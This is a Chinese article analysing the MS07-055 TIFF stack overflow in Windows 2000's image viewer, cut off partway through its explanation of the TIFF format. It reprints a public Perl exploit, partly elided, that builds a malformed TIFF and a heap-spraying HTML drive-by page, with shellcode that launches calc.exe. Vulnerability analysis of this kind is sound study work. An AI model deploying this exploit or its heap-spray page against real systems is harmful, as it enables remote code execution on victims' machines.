首页 > 安全资讯 >

揭密MS07-055 TIFF图像文件处理栈溢出漏洞

10-11-11

>文/图 张东辉 袁野TIFF(TagImageFileformat)是Mac中广泛使用的图像格式,它由Aldus和微软联合开发,最初是出于跨平台存储扫描图像的需要而设计的。它的特点是图像格式复杂、存贮信息丰富。正因为它存储的图像细微层次的信息非常多

>文/图 张东辉 袁野
TIFF(TagImageFileformat)是Mac中广泛使用的图像格式,它由Aldus和微软联合开发,最初是出于跨平台存储扫描图像的需要而设计的。它的特点是图像格式复杂、存贮信息丰富。正因为它存储的图像细微层次的信息非常多,图像的质量也得以提高,故而非常有利于原稿的复制。该格式有压缩和非压缩二种形式,其中压缩可采用LZW无损压缩方案存储。不过,由于TIFF格式结构较为复杂,兼容性较差,因此有时你的软件可能不能正确识别TIFF文件(现在绝大部分软件都已解决了这个问题)。目前在Mac和PC机上移植TIFF文件也十分便捷,因而TIFF现在也是计算机上使用最广泛的图像文件格式之一。
2007年10月9日,微软网站公示了“Microsoft安全公告MS07-055严重Kodak图像查看器中的漏洞可能允许远程执行代码(923810)”这个安全公告,并提供了该漏洞的补丁程序。此漏洞仅存在于运行Windows 2000的系统上。但是,如果是从Windows 2000升级的,运行受支持版本的Windows XP和Windows Server 2003也可能受影响。10月29日和11月11日,milw0rm上公布了利用这个漏洞的两个程序,一个是利用explorer溢出的;另一个是利用IE溢出的,可以做网络木马。同时绿盟的网站上也发布了紧急通告——“绿盟科技紧急通告(Alert2007-10)”。攻击者可以通过构建特制图像来利用此漏洞,如果用户访问网站、查看特制电子邮件或者打开电子邮件附件,该漏洞可能允许远程执行指令。成功利用此漏洞的攻击者可以完全控制受影响的系统。应该说,这个漏洞的危害性还是很大的,属于“严重”、“紧急”级别的漏洞。
另外,同一时间,除了MS07-055,微软还公布了MS07-056到MS07-060。这些安全公告分别描述了8个安全问题,分别是有关各版本的Microsoft Windows、IE、Outlook Express、Windows Mail和SharePoint等产品和服务中的漏洞。

漏洞重现与漏洞分析
        要分析这个漏洞,一定要能够重现这个漏洞,然后通过跟踪和调试来分析它。如果你的Windows XP系统不是从Windows 2000升级过来的,最好安装一个虚拟机,虚拟一个Windows 2000操作系统,然后在这个系统下做漏洞重现。我在VMware中安装的是Windows 2003 SP3,当然SP4也可以,只要是2000系统都可以,因为这个漏洞是新出的。如果你的2000系统已对这个漏洞(MS07-055)打了漏洞补丁(KB923810),可以先把漏洞补丁在“添加删除程序”中卸载掉,做完实验后再安装上。另外还要安装一下ActivePerl,用来运行Perl程序代码。把这些准备工作做好后,我们就可以开始漏洞重现了。
        milw0rm上关于这个漏洞公布了2个exploit,我分析了一下,这两个exploit利用的漏洞是同一个,就是我们现在要分析的TIFF文件格式处理漏洞,但是它们的利用方式不同,一个是直接在explorer下就溢出,也就是说当你用explorer打开了畸形TIFF文件所在的目录时,漏洞就已经使explorer溢出了;另一个是可以用来做网络木马,也就是说,当你打开了远程Web服务器上的某个网页,而网页恰好打开了那个畸形TIFF文件,就会在本地触发IE栈溢出,从而执行任意代码,即ShellCode。
        我这里通过最新的网页木马方式的exploit来分析这个漏洞,最终让大家看到这个漏洞发生的根本原因。下面我们先来看看这个exploit是如何编写的。

#!/usr/bin/perl
# Microsoft Internet Explorer TIF/TIFF Code Execution (MS07-055)
# This exploit tested on:
#  - Windows 2000 SP4 + IE5.01
#  - Windows 2000 SP4 + IE5.5
#  - Windows 2000 SP4 + IE6.0 SP1
# invokes calc.exe if successful
use strict;
# run calc.exe
my $shellcode =
"xfcxe8x44x00x00x00x8bx45x3cx8bx7cx05x78x01xefx8b".
"x4fx18x8bx5fx20x01xebx49x8bx34x8bx01xeex31xc0x99".
…………
"x83xc0x7bx50x68x7exd8xe2x73x68x98xfex8ax0ex57xff".
"xe7x63x61x6cx63x2ex65x78x65x00";
my $tiff1 =
"x49x49x2Ax00x90x3Ex00x00x80x3FxE0x50".
"x38x24x16x0Dx07x84x42x61x50xB8x64x36".
…………
"xBAx00x03x00xCAx00x00x00xDBx00x00x00".
"xD7x00x00x00xD6x00";
my $eip = "x0cx0cx0cx0c";
my $data_0400 = "x08x00x40x00";
my $data_null = "x11x00x40x00";
my $tiff2 =
"x00x00xB9x90x90x90x90x90xFCxE8".
"x44x00x00x00x8Bx45x3Cx8Bx7Cx05x78x01".
…………
"x03x00x01x00x00x00x01x00x00x00x00x00".
"x00x00";
# convert shellcode for javascript
if ((length($shellcode) / 2) =~ /./) {
$shellcode .= "x00";
}
$shellcode =~ s/(.)(.)/%u.unpack("H*", $2).unpack("H*", $1)/ge;
# write tiff file
open(FILE, ">ms07-055.tif");
binmode(FILE);
print FILE $tiff1;
print FILE $eip;
print FILE $data_0400;
print FILE $data_0400;
print FILE $data_0400;
print FILE $data_null;
print FILE $tiff2;
close(FILE);
# write html file
open(FILE, ">ms07-055.html");
print FILE <<HTML;
<html><head>
<title>Microsoft Internet Explorer TIF/TIFF Code Execution (MS07-055)</title>
<script language="JavaScript">
<!-- var memory = new Array();
function getSpraySlide(spraySlide, spraySlideSize){
while (spraySlide.length*2<spraySlideSize){
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
function makeSlide(){
var heapSprayToAddress = 0x0c0c0c0c;
var payLoadCode = unescape("$shellcode");
var heapBlockSize = 0x400000;
var payLoadSize = payLoadCode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
for (i=0;i<heapBlocks;i++) {
memory[i] = spraySlide + payLoadCode;
}
return 0;
}
makeSlide();//-->
</script>
</head>
<body><img src="ms07-055.tif"></body></html>
HTML
close(FILE);

看了这段Perl程序,大概知道是怎么回事了,其实就是用这段Perl程序写了两个文件,一个是特制的、畸形的TIFF文件,命名为“ms07-055.tif”;另一个是HTML文件,自然就是网马了。其中HTML文件很明白,这个网页用来打开前面那个TIFF文件,打开之前还在0c0c0c0c内存地址附近请求了连续的若干内存块,每个内存块中存放的是一片片0c0c0c0c指令,最后跟着的是ShellCode。0c0c0c0c指令没有什么特殊目的,就像nop指令一样。如此以来,一旦程序被溢出跳到0c0c0c0c地址即可,就可以执行我们预期的ShellCode了。这个逻辑现在应该很清楚了,说得专业一点就是Heap Spray技术。
理解了如何利用,现在我们的关键就是需要掌握一些TIFF图像文件格式规范,不需要很专业的掌握,只要对这种文件格式的基础知识有所了解就足够我们分析漏洞了。下面我来描述一下文件的基本规范,考虑到看英文比较难受的朋友,我特意翻译了一下,希望对大家有所帮助,需要英文原文的朋友也可以从本文的附带文件中找到。
一个完整的TIFF文件首先有8字节的头部(header),头部中含有一个指针指向一个图像文件目录,简称IFD(image file directory),每个IFD包含了重要的图像信息,这些信息是一条一条存储在IFD中的,称为目录条目,简称DE(directory entry)。具体的说,可以用下面这个图示来说明它们之间的逻辑关系,如图1所示。

图1
1)        首部Header
字节0-1:字节序。“II”(4949.H)——小印第安,低字节存储在内存的低地址;“MM”(4D4D.H)——大印第安,低字节存储在内存的高地址。
字节2-3:TIFF文件标识。最好选用42(十进制),同时要看前面的字节序,如果是小印第安,这里就写2A00.H;否则写002A.H。
字节4-7:第一个图像文件目录(IFD)在文件中的偏移量(offset)。
2)        图像文件目录(IFD)
每一个图像文件目录(IFD)中首先有两个字节表示目录条目(DE)的个数,接着连续的每12个字节是一个目录条目,每个IFD最后4个字节表示的是下一个IFD的偏移量,如果没有后继IFD的话,就用一个4字节数字0来结尾。
3)        目录条目(DE)
每一个12字节的DE拥有同样的结构:
字节0-1:本域的标记(Tag);
字节2-3:本域类型(Type);
字节4-7:值的个数;
字节8-11:具体的值,或者是一串多个值存储于文件的偏移量。
其中类型有多种,最常见的有以下几种。
1=BYTE:8位无符号整数;
2=ASCII:8位,其中前7位表示一个ASCII码,最后一位必须是NUL(二进制的0);
3=SHORT:16位无符号整数;
4=LONG:32位无符号整数
相关文章
最新文章
热点推荐